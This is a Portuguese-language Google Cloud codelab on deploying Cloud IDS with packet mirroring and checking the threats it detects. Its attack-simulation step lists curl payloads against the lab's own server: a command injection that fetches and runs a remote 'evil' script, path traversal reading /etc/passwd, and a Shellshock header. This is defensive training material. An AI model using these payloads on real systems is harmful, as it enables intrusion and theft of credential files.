1. Introdução
Neste laboratório, você vai implantar o Cloud IDS, um serviço avançado de detecção de intrusões de última geração que detecta ameaças de intrusões, malware, spyware e ataques de comando e controle. Você vai simular vários ataques e conferir os detalhes das ameaças no console do Cloud.
O que você vai aprender
- Como criar um endpoint do Cloud IDS
- Como criar duas máquinas virtuais com comandos gcloud
- Como criar uma política de espelhamento de pacotes
- Como simular tráfego de ataque de uma máquina virtual
- Como conferir os detalhes das ameaças no console do Cloud e no Cloud Logging
O que é necessário
- Conhecimento básico de comandos do Linux.
2. Casos de uso do Cloud IDS
O Cloud IDS oferece um serviço de detecção de intrusões (IDS) de última geração (IDS) nativo do Google Cloud para os clientes atenderem aos requisitos avançados de compliance e detecção de ameaças, como o PCI 11.4. O serviço usa as tecnologias de proteção contra ameaças da Palo Alto Networks para oferecer detecção avançada de intrusões. A combinação da infraestrutura de alto nível do Google Cloud com a segurança de alto nível da Palo Alto Networks oferece aos clientes uma combinação incomparável de um serviço de detecção avançada de ameaças totalmente gerenciado e de alto desempenho.
Quando os clientes migram para a nuvem, a segurança é uma prioridade. Ela quer ter controles de segurança similares no local, como o serviço de detecção de intrusões (IDS) na nuvem. Eles preferem usar uma solução de IDS gerenciada nativa da nuvem para facilitar a implantação, o alto desempenho e os custos otimizados em comparação com a implantação de uma solução de segurança de terceiros e o gerenciamento da infraestrutura ou a adição de assinaturas próprias. O Google Cloud IDS oferece um serviço de IDS gerenciado completo e com escalonamento automático. Com ele, os clientes podem analisar e mitigar ameaças, liberando tempo e recursos para gerenciar a infraestrutura ou as assinaturas das ameaças.
O Cloud IDS é implantado fora da banda e pode detectar e alertar sobre ameaças, mas não pode bloquear ameaças. Ele usa o Espelhamento de pacotes do Google Cloud para fazer uma cópia do tráfego de rede, que é analisado com o mecanismo de detecção de ameaças da Palo Alto Network.
3. Topologia do codelab
Figura 1. Visão geral da arquitetura de alto nível da implantação do Cloud IDS neste laboratório.
4. Configuração e requisitos
Configuração de ambiente autoguiada
- Faça login no Console do Google Cloud e crie um novo projeto ou reutilize um existente. Crie uma conta do Gmail ou do Google Workspace, se ainda não tiver uma.
- O Nome do projeto é o nome de exibição para os participantes do projeto. Ele é uma string de caracteres que não é usada pelas APIs do Google e pode ser atualizada a qualquer momento.
- O ID do projeto precisa ser exclusivo em todos os projetos do Google Cloud e não pode ser alterado após a definição. O Console do Cloud gera automaticamente uma string única, geralmente não importa o que seja. Na maioria dos codelabs, você precisará fazer referência ao ID do projeto, que geralmente é identificado como
PROJECT_ID
. Então, se você não gostar dele, gere outro ID aleatório ou crie um próprio e veja se ele está disponível. Em seguida, ele fica "congelado" depois que o projeto é criado. - Há um terceiro valor, um Número de projeto, que algumas APIs usam. Saiba mais sobre esses três valores na documentação.
- Em seguida, você precisará ativar o faturamento no Console do Cloud para usar os recursos/APIs do Cloud. A execução deste codelab não será muito cara, se tiver algum custo. Para encerrar os recursos e não gerar cobranças além deste tutorial, siga as instruções de "limpeza" encontradas no final do codelab. Novos usuários do Google Cloud estão qualificados para o programa de US$ 300 de avaliação sem custos.
Inicie o Cloud Shell
Embora o Google Cloud e o Spanner possam ser operados remotamente do seu laptop, neste codelab usaremos o Google Cloud Shell, um ambiente de linha de comando executado no Cloud.
No Console do GCP, clique no ícone do Cloud Shell na barra de ferramentas localizada no canto superior direito:
O provisionamento e a conexão com o ambiente levarão apenas alguns instantes para serem concluídos: Quando o processamento for concluído, você verá algo como:
Essa máquina virtual contém todas as ferramentas de desenvolvimento necessárias. Ela oferece um diretório principal persistente de 5 GB, além de ser executada no Google Cloud. Isso aprimora o desempenho e a autenticação da rede. Todo o trabalho neste laboratório pode ser feito apenas com um navegador.
5. Antes de começar
Ativar APIs
No Cloud Shell, verifique se o ID do projeto está configurado
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Ative todos os serviços necessários
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Criar rede VPC
Rede VPC
No Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Sub-rede
No Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Acesso a serviços particulares
No Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Conexão de serviço particular
No Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Regras de firewall
Para permitir que o IAP se conecte às instâncias de VM, crie uma regra de firewall que:
- Aplica-se a todas as instâncias de VM que você quer disponibilizar usando o IAP.
- Permite tráfego de entrada no intervalo de IP 35.235.240.0/20. Esse intervalo contém todos os endereços IP que o IAP usa para encaminhamento de TCP.
No Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Para permitir a porta HTTP padrão (TCP 80) e o protocolo ICMP para o servidor:
- Aplica-se a recursos com a tag de rede "server"
- Permite a entrada de todas as fontes
No Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Criar instância do Cloud NAT
Cloud Router
No Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
No Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Criar endpoint do Cloud IDS
Nesta seção, você vai criar um endpoint do Cloud IDS em us-east1 com a gravidade definida como informativa. A criação do endpoint do IDS leva aproximadamente 20 minutos.
Endpoint do IDS
No Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Verificar se o endpoint do Cloud IDS foi iniciado
gcloud ids endpoints list --project=$PROJECT_ID
Saída -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Crie duas máquinas virtuais
Nesta seção, você vai criar duas máquinas virtuais. O primeiro será seu servidor da Web, que será espelhado no Cloud IDS. A segunda máquina virtual será a origem do tráfego de ataque.
Máquina virtual 1 (servidor)
No Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Máquina virtual 2 (cliente)
No Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Preparando o servidor
Nesta tarefa, você vai validar seu servidor e fornecer um payload de malware benigno para seu cliente.
Acesse a VM por SSH usando o Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Confirme se o serviço da Web está em execução
sudo systemctl status nginx
Resposta - verificar se está ativo e em execução
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Alterar diretório para serviço da Web
cd /var/www/html/
Criar um arquivo de malware benigno no servidor da web
sudo touch eicar.file
Cole o conteúdo
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Voltar ao Cloud Shell
exit
criar uma política de espelhamento de pacotes do Cloud IDS
Identifique a regra de encaminhamento do endpoint do IDS e confirme se o estado do endpoint do IDS é "READY".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Exemplo de saída: copie o valor de "endpointForwardRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Salve a regra de encaminhamento de endpoint do IDS em uma variável.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Política de Espelhamento de pacotes
No Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Verificar se a política de espelhamento de pacotes foi criada
No Cloud Shell
gcloud compute packet-mirrorings list
Saída
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. simular tráfego de ataque
SSH na máquina virtual do invasor (cliente)
No Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Execute as solicitações curl a seguir para simular tráfego malicioso.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Saia da VM para voltar ao Cloud Shell
exit
11. analisar as ameaças detectadas pelo Cloud IDS
Navegue até o painel do Cloud IDS
Menu de navegação > Segurança de rede > Cloud IDS
Navegue até a guia "Ameaças".
O Cloud IDS capturou vários perfis de tráfego de ataque e informou os detalhes de cada ameaça. Talvez seja necessário clicar no botão "Atualizar" se nenhuma ameaça aparecer. Agora, vamos nos aprofundar um pouco mais e consultar os detalhes das ameaças.
Localize a seção "Bash Remote Code Execution Vulnerability" ameaça e clicar nos três pontos à direita e selecionar "Visualizar detalhes da ameaça"
Agora, os detalhes desse incidente vão aparecer no Cloud Logging. Volte para a página "Ameaças" clicando na seta para a esquerda .
Clique nos três pontos à direita e selecione "Ver registros de ameaças".
Os mesmos detalhes são fornecidos ao Cloud Logging. Dessa forma, você vai conseguir enviar os registros para o Cloud Storage, o Chronicle ou qualquer SIEM/SOAR. Também é possível criar fluxos de trabalho personalizados para tomar medidas de correção com base em alertas, por exemplo, criar uma função do Cloud que seja acionada em um alerta e criar/atualizar uma regra de firewall para bloquear o endereço IP ou criar/atualizar uma política do Cloud Armor.
12. Etapas de limpeza
Sair da instância da VM (todas as guias)
exit
Exclua os componentes do laboratório em um único terminal do Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Parabéns!
Parabéns por concluir o codelab.
O que vimos
- Casos de uso do Cloud IDS
- Requisitos de rede
- APIs compatíveis
- Criou um endpoint do Cloud IDS
- 2 VMs implantadas
- Ganhou algum "ataque" tráfego do cliente
- Ameaças verificadas foram detectadas pelo IDS
- Analisar registros e detalhes de ameaças